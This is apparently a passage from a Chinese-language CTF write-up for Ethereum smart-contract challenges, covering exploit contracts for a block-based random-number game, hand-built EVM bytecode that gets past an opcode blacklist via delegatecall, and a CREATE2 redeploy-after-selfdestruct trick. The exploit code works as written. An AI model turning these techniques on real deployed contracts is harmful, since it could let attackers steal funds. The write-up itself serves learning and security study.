function eosBlanceOf() public view returns(uint256) {
return eos.eosOf(tx.origin);
}

function CaptureTheFlag(string b64email) public{
require (eos.eosOf(tx.origin) > 18888);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
}

Analyse

就是一个随机数,没啥难的

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
contract attack{
mapping(address => uint256) public bet_count;
EOSGame tar;
uint256 MOD_NUM = 20;
uint public a;
uint public b;
constructor(address addr){
bet_count[tx.origin]+=1;
tar=EOSGame(addr);
tar.initFund();
}

function core()public returns(uint sharknum,uint luckynum) {
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
uint256 lucky = lucky_hash % MOD_NUM;
if (shark == lucky){
bet_count[tx.origin] = bet_count[tx.origin]+1;
tar.bigBlind();
}
return(shark,lucky);
}
}

Opcodes

0x01BoxGame

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pragma solidity ^0.5.10;

contract BoxGame {

event ForFlag(address addr);
address public target;

function payforflag(address payable _addr) public {

require(_addr != address(0));

uint256 size;
bytes memory code;

assembly {
size := extcodesize(_addr)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_addr, add(code, 0x20), 0, size)
}

for(uint256 i = 0; i < code.length; i++) {
require(code[i] != 0xf0); // CREATE
require(code[i] != 0xf1); // CALL
require(code[i] != 0xf2); // CALLCODE
require(code[i] != 0xf4); // DELEGATECALL
require(code[i] != 0xfa); // STATICCALL
require(code[i] != 0xff); // SELFDESTRUCT
}

_addr.delegatecall(abi.encodeWithSignature(""));
selfdestruct(_addr);
}

function sendFlag() public payable {
require(msg.value >= 1000000000 ether);
emit ForFlag(msg.sender);
}

}

Analyse

nc得到的源代码并不是这个,而是另一个,就因为这一点写的想吐。我们得到合约的地址反编译一下可以看到他的反编译结果与给出的代码合约不同,因此它用的是另一个合约,合约源码如上。我们想要触发合约的ForFlag,通过函数sendFlag显然不太可能,我们发现又delegatecall,那么我们构造一个合约,用来直接触发ForFlag。且合约字节码不能有f0,f1,f2,f4,fa,ff。

观察合约中的ForFlag的操作原理以及字节码的构成。

img

找到反编译后ForFlag的字节码位置,如图。因此我们addr的地址需要构造为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
        02EC    60  PUSH1 0x40
02EE 80 DUP1
02EF 51 MLOAD
02F0 33 CALLER
02F1 81 DUP2
02F2 52 MSTORE
02F3 90 SWAP1
02F4 51 MLOAD
02F5 7F PUSH32 0x89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2
0316 91 SWAP2
0317 81 DUP2
0318 90 SWAP1
0319 03 SUB
031A 60 PUSH1 0x20
031C 01 ADD
031D 90 SWAP1
031E A1 LOG1

code: 6040805133815290517F89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e29181900360200190A1

但是我们发现,0x89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2中存在f0,那么我们用e0+10来解决就可以了,所以构造好的字节码就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
        02EC    60  PUSH1 0x40
02EE 80 DUP1
02EF 51 MLOAD
02F0 33 CALLER
02F1 81 DUP2
02F2 52 MSTORE
02F3 90 SWAP1
02F4 51 MLOAD
02F5 7F PUSH32 0x89814845d4e005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2
7F PUSH32 0X7F0000000000100000000000000000000000000000000000000000000000000000
01 ADD
0316 91 SWAP2
0317 81 DUP2
0318 90 SWAP1
0319 03 SUB
031A 60 PUSH1 0x20
031C 01 ADD
031D 90 SWAP1
031E A1 LOG1
Code: 6040805133815290517F89814845d4e005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e27F0000000000100000000000000000000000000000000000000000000000000000019181900360200190A1

然后部署字节码合约

1
2
3
4
5
6
7
8
9
10
pragma solidity ^0.5.10;

contract Attack{

constructor(bytes memory a) payable public {
assembly {
return(add(0x20, a), mload(a))
}
}
}

然后在BoxGame 合约中调用payforflag就完成了。

注意:delegatecall的时候是用的其他合约的bytecodes来操作的,而主合约自身的bytecodes就不再起作用了。关键在于理解ForFlag事件触发的EVM操作过程,了解字节码的操作。

0x02Creativity

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pragma solidity ^0.5.10;

contract Creativity {
event SendFlag(address addr);

address public target;
uint randomNumber = 0;

function check(address _addr) public {
uint size;
assembly { size := extcodesize(_addr) }
require(size > 0 && size <= 4);
target = _addr;
}

function execute() public {
require(target != address(0));
target.delegatecall(abi.encodeWithSignature(""));
selfdestruct(address(0));
}

function sendFlag() public payable {
require(msg.value >= 100000000 ether);
emit SendFlag(msg.sender);
}
}

Analyse

这个题比较好玩,它需要我们构造一个target,然后用delegatecall去调用target。如果这个target可以任意构造,那么我们就可以通过delegatecall来触发事件发送flag,完成目标。但是,他要求我们构造的target的bytecodes<=4,这根本就不可能好不好。但是如果我们了解到一个知识点,,或许就可能了。

知识:creat2,用法就是:create2(value, offset,length,salt)。

合约地址由以下公式计算得出:keccak256(0xff ++ address ++ salt ++ keccak256(init_code))[12:]

如果我们salt一样,合约的bytecodes一样那么是不是我们就创建了两个地址完全一样的合约了?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.5.10;

contract Deployer {
bytes public deployBytecode;
address public deployedAddr;

function deploy(bytes memory code) public {
deployBytecode = code;
address a;
// Compile Dumper to get this bytecode
bytes memory dumperBytecode = hex'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe';
assembly {
a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x9453)
}
deployedAddr = a;
}
}

contract Dumper {
constructor() public {
Deployer dp = Deployer(msg.sender);
bytes memory bytecode = dp.deployBytecode();
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}

可以看到我们在Deployer传入的code最终将会变成Dumper的bytecodes,这个创建方法真的很妙。这样既保证了我们需要的Dumper合约的bytecodes不变,又可以保证他的实际bytecode可以随意改变,真的太妙了。

开始攻击:

第一步 我们需要传入0x33ff,这个就是用来自毁的,创建好之后我们check一下,让攻击合约顺利通过,然后我们随便发一个transaction到Dumper使其自毁;

第二步 保持bytecode不变,salt不变。 我们重新creat2一个地址一样的Dumper合约,传入的code要触发sendFlag事件。然后完成合约。